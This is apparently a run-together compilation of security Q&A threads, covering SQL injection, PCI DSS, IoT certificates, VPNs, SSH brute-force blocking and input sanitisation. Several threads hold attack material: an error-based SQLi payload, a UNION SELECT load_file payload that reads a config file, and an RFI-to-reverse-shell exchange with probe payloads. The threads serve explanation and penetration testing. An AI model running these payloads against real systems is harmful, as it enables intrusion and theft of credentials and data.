Error-based SQL injection I understand the conceptual idea behind error-based SQLi, but not the actual execution.

In particular, I can't make sense of this expression:

or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

What's the reason for having "or 1", "floor(rand(0)*2)" and min(0)?

Error-based SQLi relies on a bug found in MySQL concerning the GROUP BY statement (see here and here).

To trigger the bug one must follow the following rules:

Use an aggregate function.
GROUP BY a column that has two identical values on different rows.
The output of the rand() function must appear in the column of point 2 above.

The string

or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--

is injected in a WHERE clause, so or 1 (which is equivalent to or true) is used to cancel out the previous conditions and display as many rows as possible. This way, there should be at least two rows with the same value for floor(rand(0)*2)). This takes care of points 2 and 3. We use floor() so that the values returned are just 0 or 1. If we were to use rand directly, it would be almost impossible to satisfy point 2.

We need having min(0) to take care of point 1.

Also, the instance of or 1 at the end of the query is useless and can be removed.


PCI DSS compliance on storing email body in database which contains plain text password I work in a PCI DSS certified environment, which (as many secure environments) require 'Strong Cryptography' when storing user passwords, as per requirement 8.2.1. We simply hash them using BCrpyt.

However, we have a new use case. When a new user is defined to the system, a password is generated automatically and emailed to the user. We want to separate creation of the user/password and emailing processes. When a user is created, we would like to persist the email body to a database, and in a scheduled task, we would like to send emails.

As you could see, this requires storing the email body (including the password in plain text) in the database. So here are my questions:

1. I suspect keeping this data in the database without encryption would not violate PCI DSS requirements, as it is not a password field but an email_body field. There's no one-to-one relation. However, it might as well.

2. I could encrypt the email_body field before persisting it to the database. I could keep the key on the server and the data on the database server (which would comply with PCI DSS requirement 3.5.2). Would this satisfy requirement 8.2.1?

3. Or simply I have to send the password as I create it, and forget all about.

If the user account contains protected data, then storing access to that protected data in the clear in a database would appear to go against the standard.

You might get away with it if the accounts were blank, but I can't see how you would pass a review if the account had data that was regulated by the standard.

Obviously, the best option is to send the email straight away to transfer the risk to the user.

Encryption might work, but you would have to run that past your QSA to be sure.


What kind of IoT devices use certificates? I have read that PKI certificates are the main way to provide security on IoT platforms. And the common enrollment protocols for certificates are:

SCEP (Simple Certificate Enrollment Protocol)
EST (Enrollment over Secure Transport)
CMP (Certificate Management Protocol)
CMC (Certificate Management over CMS)

(CMP is the one which is used for securing LTE eNodeBs.)

Now what is not clear is what devices get the certificates? I am assuming that sensors etc are too small to get certificates and use them? So is anything used for securing sensors in IoT? I think gateways can use certs but gateways probably don't need these protocols - they are not really IOT devices. Also what do the gateways use the certs for - is it to communicate with the cloud servers or is it to communicate with the gateways?

So what kind of IoT devices use these protocols to enroll certs? How do they use the certs? Do they use it only for authentication? Or also for encrypting communication? Are they sophisticated enough to do this?

IoT covers a broad range of devices and use cases, like at home the router, smart light bulbs, smart thermostat, maybe smart locks etc. And even more cases can be found in the industry where sensors or data collection systems are everywhere.

Given the broad range of devices they have some things in common: they have some firmware which might have bugs or missing features and thus need to get updates. And they need to communicate with other systems to receive and/or provide collected data.

And this is where certificates (or other trusted containers for a public key) help:

It is essential in most use cases that the device only runs authorized firmware, i.e. no firmware which can be used to destroy the IoT device or even attack connected machines, sensors or other devices in the network. Digital signatures using certificates are typically used to provide such authorization.
In order to protect the data in transit encryption is usually required. This requires that the client knows that it transmits the data to the correct server. Certificates are typically used for this server authentication, for example in protocols like TLS. Alternatively the client does not trust the server it is directly talking to at all, but instead encrypts the data so that only the ultimate recipient can decrypt these. In this case the client can use protocols like PGP, S/MIME or similar to encrypt the data for the final recipients by having the recipients certificate.
Often it is also necessary that the recipient of some data knows for sure which device is sending/creating the data to make sure that it does not get fake data from unauthorized devices.  Again certificates are used for this: either in the form of client certificates within mutual authentication in protocols like TLS. Or by digitally signing the data using a device specific certificate.

  Or also for encrypting communication?

Certificates use public key (asymmetric) cryptography, i.e. RSA or ECC. This kind of cryptography is not suitable to encrypt large amounts of data. Instead symmetric cryptography is used for this (i.e. AES and similar). Certificates still play an important role in encryption in that they are used to protect the symmetric keys used for encryption, for example  in the key exchange in TLS or to encrypt the symmetric key with the recipients public key in protocols like PGP or S/MIME.

  I am assuming that sensors etc are too small to get certificates and use them?

Public key cryptography as the central part of certificate is not that resource intensive as one might think. It is for example already implemented in smart cards or TPM chips which means that it can probably be implemented also in most IoT devices which are capable enough to do some kind of network communication. The usual use cases for public key cryptography within IoT require only the occasional creation or verification of digital signatures or encryption of small data, which means that speed of the operation is usually not that critical.


On iOS, what's the benefit of OpenSSL over using CFStream, CFNetwork etc. for secure sockets? I asked this already on Stack Overflow, here. I was told I might find answers here.

Two things:

you get more control over the encryption options. If you need to control or inspect the certificate exchange in ways not permitted by CFNetwork, you must drop to OpenSSL.
OpenSSL is cross-platform, so you may already have code that works with it.


Can a VPN provider or actors within its infrastructure access open ports on the client machine? From my understanding of a VPN, it essentially creates a network between the two 'machines'. So if I have open ports (e.g. HTTP, SSH) on my client machine, those can be accessed by the VPN provider or other users.

This leads to the question: should VPN users harden their machine before joining a potentially malicious network?

By VPN provider I'm referring to well-known paid-for subscription service such as NordVPN, ExpressVPN, PIA etc.

Yes that is possible as your VPN client sets up a network interface like any other interface, and it sends and receives packets all the same. If you start a server application that listens on all available interfaces it will also listen for incoming connections on that VPN interface.

But just like your other interfaces you should have a firewall in place that blocks or ignores all incoming connection requests (except for the ones you have configured to be let in).

On the other end of the VPN connection (the VPN provider’s side) the system would normally also be firewalled and configured to not accept any connection requests going your way as that is not the service they are intending to offer and would also be a rather obvious security issue. The VPN services you have in mind are setup for one way connection requests, you can use it to connect and communicate by starting from your side, but not the other way around.

Other VPN setups like office-to-office interconnects would be configured differently, allowing connections both ways. But that does not apply in your case.

As long as you treat your VPN like any other internet connection to the outside word and filter/firewall it accordingly you will be fine, connection-wise.

There is one risk: the VPN provider itself. There is nothing preventing them from changing the settings on their side and have a bunch of traffic thrown your way which your firewall then has to block (so best keep it enabled). So the real question to ask yourself ends up being: how much do you trust them (and why).


Can't get a reverse shell on port 80 In a pentest, I have found a RFI and the endpoint looks like:

https://xxx.com/file.php?page={localhost/evilcode.txt}

Port 80 isn't open. 22,443 are only open ports

Now, I am using php reverse shell to connect back to my port 80, where I have my netcat listener running.

When I visit the URL above(with payload), I get:

listening on [any] 80 ...
connect to [localhost] from (UNKNOWN) [$target_machine] 48731
GET /evilcode.php.txt HTTP/1.0
Host: $localhost

The session is established for a while but I can't execute any commands. Any idea what I am doing wrong?

Start sending a simple PHP file with a command that does not require output, but allows you to determine whether it's been executed or not.

Simply run twice the RFI and send from netcat:

<?php /* do nothing */ ?>

and

<?php sleep(10); ?>

If the second command has the web site returning the page in a time 10 seconds longer than with the first attempt, then your RFI is potentially working. All that it can do still remains to be seen.

If the two commands return in the same time, there's no extra ten second pause, then the PHP code you sent is clearly not being executed, so sending a reverse shell makes little sense.

The next steps involve sending something that tries to show itself on the target page.

ob_end_clean();
print "OK";
die();

could work. Also, try to establish what system you're examining (e.g.: Ubuntu 12.04-LTS ). That will tell you what to pay attention to, e.g. AppArmor or SELinux or special permissions. Trying to get a phpinfo() would be good, to ascertain whether some functions have been disabled, for instance.

You work upwards from that to a full reverse shell. Along the way you'll probably discover why the reverse shell isn't working, and with some experience you should be able to get it working again, deploy something else, or conclude that there's no actual vulnerability.

One possibility worth considering would be to use the RFI to create a second RFI that's simpler to exploit, if the first attacked script is still capable of writing files to disk in accessible (and exploitable) locations.

But...

Notice that you included 'evilcode.txt' and the script requested 'evilcode.php.txt'. This is not a simple append (it would have been 'evilcode.txt.php').

What seems to be happening is that the page gets the basename of the file, then adds '.php.txt', which seems to indicate some plan at work. It's not .php, it's not .txt -- it's .php.txt, as if the author wanted to mark it as being PHP, but at the same time not PHP.

It's possible I'm reading too much in a simple extension. But it is also possible that the RFI, while being a remote file inclusion, does not execute the code straight away, but actually does something like:

// Load page from URL request
$code = file_get_contents($_GET['page']);
if (0 !== strpos($code, '<?php//SQUEAMISH OSSIFRAGE')) {
    // This is not our code! DANGER WILL ROBINSON!
    mailAdministratorAndRecordBreakinAttempt();
} else {
    // The code contains the secret word. It's legit.
    $result = eval($code);
}

The above would seem to be an exploitable RFI, but unless you happen to know the secret word, it simply won't work. On the other hand, you might be able to get it by reading one of the remote pages, now that you know how their
true local name is obtained.

This is hoping that those pages aren't IP-blocked, and requesting them from
anywhere else but server address doesn't result in an alert being triggered.


Storing data encryption key (client side) I have moderate knowledge of programming , and currently I am writing a client-server messaging application for windows. My project is written from scratch using sockets , and all it does is data transmission from one client to the server, and then form the server to the rest of the clients in a room (I have implemented chat rooms). At the moment , my data is transmitted as a row series of bytes (using .encode('utf-8') if you are familiar with python). But obviously , I need to create a proper encryption algorithm for it. I am planning on creating my own , so that I am sure of the lack of vulnerabilities (I know it can be the opposite , but I trust myself). However , I am not sure how am I supposed to store the encryption key. If I bluntly store the key in the client , is it considered secure ? Because generating a random key and sending it to the recipient sounds horrible un-secure , since even a toddler with MITM will be able to see it. So what do I do ? How to I generate and send/store keys so that I can be sure that it is at least somewhat secure

First of all, don't ever roll your own crypto for commercial software. It is very, very, very easy to make a mistake.

But if you're just doing this for a personal pet project, or perhaps as a school project, you can do something like this:

Client generates random symmetric encryption key
Client encrypts message using symmetric key
Client encrypt the symmetric key using your server's public key
Client sends both encrypted message and encrypted key to server
Server can decrypt the symmetric key using its private key, then use the symmetric key to decrypt the message.

This scheme is vulnerable in a number of ways, but it solves the specific problem you are asking about in your question.


Determine if helloworld.msi is malicious Recently, while checking the windows application logs, I found that an application communicates with a certain website. The process starts and ends in about a minute. It does not appear in my search results. I have captured its details. It is acting suspiciously, but I am not sure about this.

Any help would be useful.

This does not look legit at all. These are the points that indicate to me, that something fishy is going on:

MsiInstaller with some Russian HTTP-only-domain
The domain name is not meaningful.
The strange port 280 is used for HTTP.

I can think of no legit reason for this log entry.

I'm not familiar enough to prove it, but I'd consider your computer as compromised.
I'd therefore recommend to reinstall it from scratch and change all passwords of services, you accessed with this computer.
This procedure might be overkill, but as there is no way of telling what this software has been doing lately, you'd be on the safe side.


Why CVV on the credit card at all? CVV is a security feature.

Why isn't it handled as a PIN and kept secret? I see that's convenient to have the number on the back (or front, in some rare cases), but so would be to write your PIN on your bank cards.

Because it adds security without any significant burden on users.

Before CVV2 was introduced (around 2000), most transaction records contained all the information someone needed to commit fraud. These could be receipts, till logs, transaction databases, etc. With CVV2, merchants are banned from storing it, so it reduces a lot of sources of fraud. The CVV2 is not on the mag stripe, but there is another code (CVV1) that is.

You probably also have a PIN for your card, but that's a different security mechanism. For example, I would never input my card PIN when making an online transaction.


(custom software) Security rules on each record when using user-groups per application I'm working with custom software here, so don't worry about Microsoft whatever, Open anything, or something else. Let’s stick to theory of how this should go together.

Let’s say I have a user system/database.

The database has a table of users, and their associated user-groups (Admin, IT support, Manager, Secretary, client, guest). These aren't hierarchal, but rather memberships to groups. For instance, Alice can be an Admin and Client if need be.

Permissions to an application are assigned to the group, and in the case of multiple-group assignment to a user, the permissions form a simple binary OR of rights (i.e., Admin has X, Guest has Y, then the user gets X and Y).

Applications are a way to do things in an application, they bar access or allow for it. For instance, you have access to "StackExchange" but only to Read -- or you get access to post, or moderator tools, etc...

So to recap, users get groups which govern what rights they can access.

The concept I'm having trouble with is locking down specific records to the user group, especially if we're working across multiple applications. So, for instance, only Admin group can view some posts in the "StackExchange" application.

I don't want to have to add rights to every record, and I don't want to make redundant application code with a minor change.

How would you approach this?

Beside ACLs another common approach is to use rules. So you don't define the rights on a per record level but based on characteristics of records.

BaseRight: read postings

Rules: postings with x upvotes, posting created by current user, all postings

Those rules consists of a name and some program logic. They can be very flexible, for example fragments of SQL queries. In the software I develop at work, even administrators can define new rules.

The actual rights are now a combination of base rights and rules with optional parameters.

I recommend to default to no access and to avoid negative rights because it makes the implementation a lot easier and therefore less error prune: You can simply iterate over all rules and as soon as one rule says "okay", you are done. For obvious reasons special care has to be taken when this is done in SQL, but the performance improvement on queries with huge results sets may be worth the trouble.

Examples

For example the anonymous user pseudo role may get this right:

Right: read high quality postings based on

BaseRight: read postings
Rules: postings with x upvotes
Parameter: x=3

A site admin will get this right:

Right: read all postings based on

BaseRight: read postings
Rules: all postings


Does Linux "Dirty COW" Exploit allow for privilege escalation with SE protections in place? Vulnerability CVE–2016–5195 deals with privilege escalation in Linux systems. As far as I can tell, this is by being able to gain write permissions where an attacker might only have read-only permissions.

But does this vulnerability also circumvent the secondary layer of protection made possible by the SE Linux security structure? That is, if something is marked as read-only by both the Linux Kernel and by the SE permission system, does Dirty COW still allow for write operations?

Short answer: SELinux cannot protect against the "Dirty Cow" exploit without SELinux implementing a proposed change and the kernel updated with this change.

In default installations (notably RedHat Linux), SELinux does not use user-level confinement.  Users and their shells run unconfined, so they would be able to access /proc/self/mem and exploit the "Dirty Cow" privilege escalation attack.

In order for SELinux to block this, users would have to be confined in such a way as not to have access to /proc/self/mem.

However, SELinux does not provide security around the kernel's handling of memory, merely process' execution and use of it.  SELinux largely applies security to the filesystem.  In the case of the COW (copy on write) exploit, memory handled by the kernel is being exploited for privilege escalation; going around SELinux protections.

It is possible for SELinux to be changed to support protections on the /proc mem files, and this has been discussed in the SELinux mailing list..


Is it possible to create a secure chat web application relying on HTML5 web sockets? Is it possible to create a secure chat web application using just HTML5 and Javascript?

What possible security holes would there be if the server doesn't store the messages, just relay them using websockets, and the transmission is done over SSL?

What prompted me to ask this was I was wondering why Cryptocat was implemented as browser plugin. I assume it's thought to be more secure than a pure HTML5 solution, but why?

Actually, this has nothing to do with moving CryptoCat to a browser plugin/extension. It's not even related to SSL at all. Having that in mind, Stephen's answer is somewhat misleading. I'll attempt to address that. CryptoCat is still JavaScript & HTML.

Give me your full attention, assume that SSL is doing its job and you're 100% sure that you're connecting to the genuine CryptoCat server. If Nadim (the guy behind CryptoCat) was forced by law to reveal your future conversation, he'd simply detect when you connect (from your IP) and send you some rogue JavaScript that would make your browser use a custom key and therefor giving himself the ability to decrypt your conversation and giving them to the FBI, NSA, CIA, etc.

That form of security is called host-based security, where you give your complete trust to the service provider. Yes, your stuff are encrypted, but the encryption/decryption logic is coming from service provider, and they can send you whatever they want. CryptoCat was criticized by Schneier and other security researchers for this.

By moving the code to a browser plugin, now you need to trust the source only the first time you download code. Communication still happens between you and the server, encryption and decryption still happens in your browser, the code is still JavaScript and HTML5. The only difference here is that next time you connect to CryptoCat servers, you don't need to trust the code they send you. The code in your browser all the time, you can audit it and check it whenver you want.

Patrick Ball wrote a very interesting article on the subject; he explains the concept of host-based security and other related issues. It'll help you understand the big picture regarding this matter.

To directly answer your question, yes it is possible. CryptoCat is a great example.


How to respond to a SSH brute force attack on a single VPS? I logged onto my VPS this morning to find millions of failed login attempts for the root user and other users that don't even exist. I took the below measures to try and obfuscate the attackers efforts which (have been going on for months).

Question(s)

Is this an appropriate response?
What more can be done?
Is there anything valuable I can do with a list of these IPs?

System info for a Centos7 vps

uname -a
inux vm01 3.10.0-327.22.2.el7.x86_64 #1 SMP Thu Jun 23 17:05:11 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

step 1

Created a script to grab all the IP addresses that failed to login from the secure log. (/var/log/secure)

# get_ips.sh
grep "Failed password for" /var/log/secure \
| grep -Po "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" \
| sort \
| uniq -c

step 2

Write a script to create firewall rules to block the ip address that are found from the script in step 1. This script is ip_list_to_rules.sh

#!/bin/bash
# ip_list_to_rules.sh
# script to parse output of get_ips.sh and create firewall rules
# to block ssh requests

if [ -z $1 ]; then
  echo "arg1 must be path to a list of the form <COUNT> <IP>\n"
  exit
fi

LIST=$(readlink -f $1)
SSH_IP=$(echo $SSH_CLIENT | head -n1 | awk '{print $1;}')

echo "Reading IPs from ${LIST}"
echo "SSH Client IP will be ignored (${SSH_IP})"

while read COUNT IP; do

  echo "Creating rule for ${IP}"
  firewall-cmd --direct --add-rule ipv4 filter INPUT 1 -m tcp --source $IP -p tcp --dport 22 -j REJECT
  firewall-cmd --direct --add-rule ipv4 filter INPUT 1 -m tcp --source $IP/24 -p tcp --dport 22 -j REJECT

done<<<"$(cat ${LIST} | grep -v ${SSH_IP})"

step 3

Run it all and save rules.

./get_ips.sh > attack_ips.list
./ip_list_to_rules.sh attack_ips.list
firewall-cmd --reload

Update

Below are the measures I took from the answers.

Disabled root logins
Changed SSH port
Install & configured fail2ban
Disable password authentication & enable public key auth

I didn't actual do 4 because I usually connect through chrome secure shell client and AFAIK there isn't public key support.

Yes, this is a perfectly reasonable and common approach. However, you've reinvented fail2ban. You probably want to switch to using that instead so you don't have to debug issues with your script and can make use of the existing filters for ssh, apache, and other common services.

Unfortunately, there is not terribly much you can do with these IPs. You can try to report the activity to the abuse contact listed for their IP block, but it's not really worth your time unless they do something more serious.

You should also do the standard ssh hardening, like disabling password-based and root logins unless you absolutely need them.


Does WiFi SSID spoofing also affect known password protected networks? I read quite a bit from Troy Hunt about spoofing WiFi SSIDs and luring devices to connect to them.

When the Pineapple device sees a probe request it will create a WiFi with the probed SSID. The naive device will connect to the network and succeed if it is an open network.

What happens if the network is secured. Say my home network has the SSID “X” and is secured with WPA2-PSK. If such a spoofing device creates an SSID “X”, will my computer just send its password to that SSID? Do I have to worry about my WiFi password sniffed in this manner?

The answer to your question is, no.  with a WPA-PSK authenticated network, the PSK is never actually sent over the wire, the protocol is designed to prove that both the client machine (a.k.a station) and Access point have the same key before commencing communication.

If an attacker can sniff the traffic sent between the station and the access point during the handshake process, it can attack it by trying to brute force the key value (which is why you should never use a weak key value).

There's some additional information here


Is CloudKit or iCloud suitable for storing PII? iCloud is Apple's storage technology that copies data from one iPhone and shares it with every other device.

CloudKit is a similar technology that allows (from what I can tell) the partial synchronization of that data among devices.

Are these technologies suitable for a US or UK based citizen to store their PII data?  I'm asking because I'm a software developer looking for a place to save this information.  Since I don't have the ability to direct UK based users to a UK based server, as I can in Azure, I assume this might be done transparently on a per user basis.

If you are utilizing a cloud service where you cannot control where data is stored, there may be potential legal risks. For example, in some cases US data stored on EU servers may be deemed subject to EU data directive privacy controls and data stored in the US may not meet EU requirements or have sufficient safe harbor. Other odd cases come up in cross-border data storage.

Any specific legal requirements would have to be a factor of the actual data and the specific laws - e.g., healthcare data and HIPAA. For the specific legal issues, those are going to be off topic, and you will need to consult a Lawyer for an appropriate answer.

There are likely other legal or security risk to consider such as encryption, guarantees over deletion, etc - these are common concerns for any cloud service provider. You may want to check out some of the resources from Cloud Security Alliance to use in your assessment of a cloud provider.

Moreover, you may have issues with the specific classes of data in synchronizing or even the security and confidentiality of an iPhone in general (where is it being copied to, how do you secure those other devices/servers?).

In general, the less control you have over the service provider and the data,the greater the difficulty will be in meeting various overlapping and often conflicting legal laws. Where possible, leave data in it's country of origin. There may also be a difference between where the user chooses to store and move their data versus "you the company" moving it. Again, you will need to consult with a lawyer.

Some links to consider:

Cloud Computing: Data Privacy in the Cloud
Can European Firms Legally Use U.S. Clouds To Store Data?
Conflict of Laws: Data Protection in the Cloud
Data Without Borders


Can I use a mobile passcode login exclusively? I get absolutely no cell coverage in the building I'm working in, nor do I have access to wifi, so any time I need to use 2-factor authentication, I cannot receive the push request.

I've been using the "passcode" feature to log in as an offline alternative, but I was curious if this method will work forever. Does it ever "run out" of codes? Are there any steps I need to take in order to continually use this method?

The rotating 6-digit code that is generated by the app on your phone does not run out. The number is based on a formula that uses a secret number (specific to the one account and known only to your app and the service that validates the code) and the time. So, as long as time keeps ticking, new codes will be generated.

I use old phones as 2FA code generators. They happily keep creating new codes every 30 seconds for years.

There is one weakness of the time-based system: if the clock on your phone gets out of sync with the clock on the service you are trying to log into. If your phone has no access to the cell network for a long time, there is a chance that the clock will slowly get out of sync. Then, eventually, the code that is generated won't match what the service expects.

So, steps to take? Make sure your phone can connect to the cell network every couple of months or so (or 6 or yearly). Phone clocks don't drift as badly as the clock on your microwave, but they will eventually drift.


Is this sufficient text cleaning in a PHP Form? Wondering if the following is sufficient for sanitizing input in a simple contact form that contains inputs for $name, $email, $phone, and $text. Thanks!

There is no SQL.

I am simply wondering if I am doing this right.

<?php

$name = $email = $phone = $text = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $name = test_input ($_POST['name']);
    $email = test_input ($_POST['email']);
    $phone = test_input ($_POST['phone']);
    $text = test_input ($_POST['text']);
}

function test_input($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
}

Calling htmlspecialchars($data) is probably fine if your program is only interacting with HTML, so in your simple example, that's probably ok. But as your programs get more complicated and the data gets passed to different environments, then that won't cut it anymore. For example, the strings which are dangerous in HTML are different from the strings which are dangerous in JavaScript, or SQL, or Bash, or _____, etc. So as the number of environments that you use increases, your cleaners have to become more and more complex. More complex cleaners means more room to make a mistake, or introduce a security vulnerability.

The more general question with text sanitization is "which characters are dangerous?", and that entirely depends on what you plan to do with the data after you've cleaned it. So to answer the question fully, we'd need to know which programming languages / libraries / system calls you're handing that data too.

One general suggestion I can make about text cleaning is that a whitelisting approach is always better than a cleaning approach. Let me define those terms:

A Cleaning Approach is where the programmer says "Let me remove dangerous characters, and then continue using your text". So for example the user input string "<script>malicious()</script>", that would get cleaned to "scriptmaliciousscript", and the program keeps on chugging.
A whitelisting Approach is to ask "does the input string match what I was expecting? Yes? Then let it through. No? Then reject it and return an error.".

99.99% of the time a whitelisting approach is better, here are some potential problems with cleaning that I can think of off the top of my head:

User confusion -- for example, let's say you've decided that underscore is a dangerous character, then a user enters the email address "jim_smith@example.com" and your cleaner silently changes it to "jimsmith@example.com", they will be very confused and frustrated when their login fails.
Cleaners are tricky to write properly -- the more environments your data crosses, the more complicated the cleaner. To see what I mean, think about the cleaner you would need in order to allow a user to enter JavaScript, but detect harmful SQL, not easy. Escaping characters can be another good approach, more on that below.
Hackers enjoy trying to break cleaners -- When a hacker sees that their input is being cleaned and then processed, the game becomes "what can I type in, that the cleaner will make malicious for me? Hackers can be surprisingly good at this game.

Point (2) is a problem with Blacklings blockers too in that you still have to put careful thought into which characters to block (based on what languages / libraries you're passing the data to). But with cleaners, in addition to checking the input for potentially malicious strings, you also have to check the output for dangerous strings because of point (3).

One option is rather than removing harmful characters, is to escape them into harmless text, ex "O'Brian" becomes "O\'Brian", and almost all web-apps will interpret \' as text, avoiding SQLi-type problems. But this gets trickier for things like email addresses and phone numbers since you have to un-escape at the end so you don't try to email "jim\_smith@example.com", or hand your dialer app "\(123\) 456\-7890".

So my suggestion is to decide which sets of characters you're going to accept for each field (keep this list as small as you can get away with) and reject input that has characters outside this set. Generally letters and number are safe in all environments.

For example, for email addresses you only need {Uppercase Alpha, Lowecase Alpha, Numbers, _, ., @}, and additionally you could check for the format ____@___.___.

For phone numbers you only need {Numbers, (, ), 0, +}, and can check for common formats.

For names you only really need {Uppercase Alpha, Lowecase Alpha, space}. Depending on who you're writing the software for, you may be asked to support things like:

Hyphen (-) which is part of some people's names, like "John Smith-Jones", but is dangerous on command lines, as in rm -rf.
Apostrophe (') which is part of some people's names, like "O'Brian", but is dangerous for SQL.
Accent characters
Non-roman character sets

In which case you'll have to do more digging to find out what the specific risks are with each of those.


VPN + HTTPS = 100% anonymous? Let's say I visit Twitter using HTTPS and a VPN

First, I know that HTTPS is end-to-end encrypted, so no one except Twitter can know what data is sent, not even the VPN provider. Second, I know that when I am using a VPN no one can know who is the user, except the VPN provider.

So, Twitter doesn't know the user, and the VPN provider doesn't know the data. Is this true? Am I 100% anonymous?

Twitter doesn't know the user

If you have ever used that browser to connect to Twitter outside of the VPN then it is possible that twitter have used cookies or (even in the case of a complete browser data wipe) browser fingerprinting to identify you. Even if they haven't you should assume their ad providers have.

  no one can know who is the user, except the VPN provider.

Anyone with visibility of entrance nodes and exit nodes to the VPN (ISPs, state actors etc) can apply packet matching techniques to try and identify traffic flows.

You also have the risk of both Twitter and the VPN sharing the information they hold on you with other parties.


use load_file in injection I'm a penetration tester and I'm working on a new website that is vulnerable via SQL injection. This site injects with this payload:

?id=3333' union select 1,2,3,4 --+

Fourth column of second select returns in response.

In addition I'm sure that "db.php" is present at this path:

"var\www\vhosts\mySite.com\httpdocs\lib\db.php"

But I can't read "db.php" content using this injection:

?id=3333' union select 1,2,3,load_file('var\www\vhosts\mySite.com\httpdocs\lib\db.php')

What's wrong with this payload? And DB is MySQL.

As sorted out the missing part was file privileges . As per documentation of LOAD_FILE the user executing the query must have File privileges  more over at file system level the file must allow the actions performed by query

LOAD DATA INFILE

For security reasons, when reading files located on the server, the
files must either reside in the database directory or be readable by
the user account used to run the server.
To use LOAD DATA INFILE on server files, you must have the FILE
    privilege.

  LOAD DATA LOCAL INFILE

Using LOCAL is a bit slower than letting the server access the files directly, because the contents of the file must be sent over the connection by the client to the server.

On the other hand, you do not need the FILE privilege to load local files.


Error running NodeFuzz I have been trying to fuzz chromium with NodeFuzz. I have followed this website http://jultika.oulu.fi/files/nbnfioulu-201504161396.pdf . Here is my error

   Loading default configuration-file:
./config.js
config.js had no property init.
Loading default instrumentation-module:
./Instrumentation.js
No module folder given. Defaulting to ./TestCaseGenerator.js from config.js
Found property init() from module ./TestCaseGenerator.js
Successfully required module ./TestCaseGenerator.js
We have 1 modules available.
Server listening port 1000
events.js:141
      throw er; // Unhandled 'error' event
      ^

Error: spawn chromium ENOENT
    at exports._errnoException (util.js:870:11)
    at Process.ChildProcess._handle.onexit (internal/child_process.js:178:32)
    at onErrorNT (internal/child_process.js:344:16)
    at nextTickCallbackWith2Args (node.js:442:9)
    at process._tickCallback (node.js:356:17)
    at Function.Module.runMain (module.js:443:11)
    at startup (node.js:139:18)
    at node.js:968:3
BreslinD:nodefuzz Student$ sudo node nodefuzz.js
Loading default configuration-file:
./config.js
config.js had no property init.
Loading default instrumentation-module:
./Instrumentation.js
No module folder given. Defaulting to ./TestCaseGenerator.js from config.js
Found property init() from module ./TestCaseGenerator.js
Successfully required module ./TestCaseGenerator.js
We have 1 modules available.
Server listening port 1000
events.js:141
      throw er; // Unhandled 'error' event
      ^

Error: spawn chromium ENOENT
    at exports._errnoException (util.js:870:11)
    at Process.ChildProcess._handle.onexit (internal/child_process.js:178:32)
    at onErrorNT (internal/child_process.js:344:16)
    at nextTickCallbackWith2Args (node.js:442:9)
    at process._tickCallback (node.js:356:17)
    at Function.Module.runMain (module.js:443:11)
    at startup (node.js:139:18)
    at node.js:968:3

I have been googling and I found someone who had a problem somewhat like mine. I think my problem may have to do with chromium. https://stackoverflow.com/questions/36018544/imagemagick-enoent-error . I'm not sure what to do at this point but at least I think I know where the problem is. The command I was using to run nodefuzz is sudo node nodefuzz.js
I am using a Mac running OSX Yosemite 10.10.4. Looking at other posts online I'm going to say that Nodefuzz can't find chromium. If that is the problem I'm not sure how to solve that issue.


Is it safe to create live usb on an infected system? I am using Ubuntu 13.10. If my laptop is infected with malware, can I get rid of it  by  creating a live usb on it and using that live usb format and re-install the ubuntu ? I mean is it possible that malware will find its way in live usb and hence infect the re-install ? If yes, how to get rid of it ?

It is definitely not safe. You cannot trust any drive that has been written from an infected machine.

There is no way to ensure the integrity of the live USB.


What layer does dictionary attacks take place on? This may be a stupid question, but I'm fairly new to cyber security and networking and I'm looking into different types of attacks. I was wondering if dictionary attacks only took place on the application layer, or if it is used for other layers as well.

Dictionary Attacks in Networking

Mostly the application layer if you are talking about the OSI model, one exception being SMTP on the OSI session layer. For TCP/IP it may just be the application layer for all intents/purposes today, though authentication does occur at the TCP/IP link layer in PPP. I can't give many examples here.

But anywhere you see password authentication in a network protocol, or outside of any network consideration, it might be vulnerable to dictionary attacks. OSI session layer has a few (e.g. SMTP). You also could think of any protocol with password-derived cryptography, but getting abstract now.

General Dictionary Attack Scenarios

I would say that dictionary attacks are best considered agnostic of layers as a concept. Instead,  to effectively pursue, impede, or prevent an attack, one should consider the act in terms of context. The two contexts are:

Password-based authentication using brute force. For example...

Spamming website login processes via HTTP POST appearing to come from a form.
Spamming the authentication of an OS login to a computer with no hardware TPM.

Decryption of ciphertext via brute force of passphrase used in key derivation.

The first can be impeded to the extent that it's practically impossible to crack (too many failures means your account gets locked, x unavailable for y minutes, all data gets wiped, and so on).

The second one is impossible to prevent, since unfettered access to ciphertext means the attacker could use the best rainbow table in the world with millions of dollars worth of specialized hardware to spam everything it can think of for as long as it needs, and meanwhile you are none the wiser. Though the key derivation function can impede by demanding more resources to compute.

In terms of layers in the OSI model or TCP/IP, all that above was to make you think of situations in which an attack may apply to no layer in particular, even as a stretch, as the attacks could actually be bare metal (physical, but doesn't pertain to networking). Other times, maybe it's just local to the machine and does not involve networking.


How to isolate web console of network switch from LAN where they working Network switches on my work have web console. Despite it is password protected I want to hide it from LAN. Currently switches has static IP with mask that differ from DHCP server, so they not visible from PC that get it's IP from DHCP. Is there any better approach to prevent access from non-authorized PC to switches web console?

If there is an option to limit who has access to the web console by IP address, or by MAC address, you could limit the access to only the admin workstations. It would be even better to limit access not only to the web console, but to the IP of the switch (if there is such option), so that it is not easily detectable with network scanners.


CORS & CSRF Prevention for an REST based API I'm currently trying to wrap my head around how to prevent CSRF.

My first solution was to use a token which is suggested everywhere. That would of course fix this problem:

<img src="http://api.example.com/me/delete">

But what I can't get my head around is that.

GET http://api.example.com/me/delete

Will indeed fail because a valid token didn't come along with that request, but what prevents an attacker from doing the above and instead just do the following

GET http://api.example.com/me/token/generate
// parse the response
GET http://api.example.com/me/delete?token=...

Valid token was passed along the request, my user is now deleted...

My REST API allows any request to come through.

header("Access-Control-Allow-Origin: " . $_SERVER["HTTP_ORIGIN"]);

The reason I "need" that is that, I'm not only using the REST API on the domain itself through forms and JavaScript. But I'm doing requests using cURL in C++.

If tokens in this case aren't a "safe" solution, then what would/could a safer/better solution be?

Further what does something like Spotify do, while they both have their "Web API" and the music software itself?

Also and I know this is far fetched, but is it possible to allow anything access to my API but have a per origin authentication?

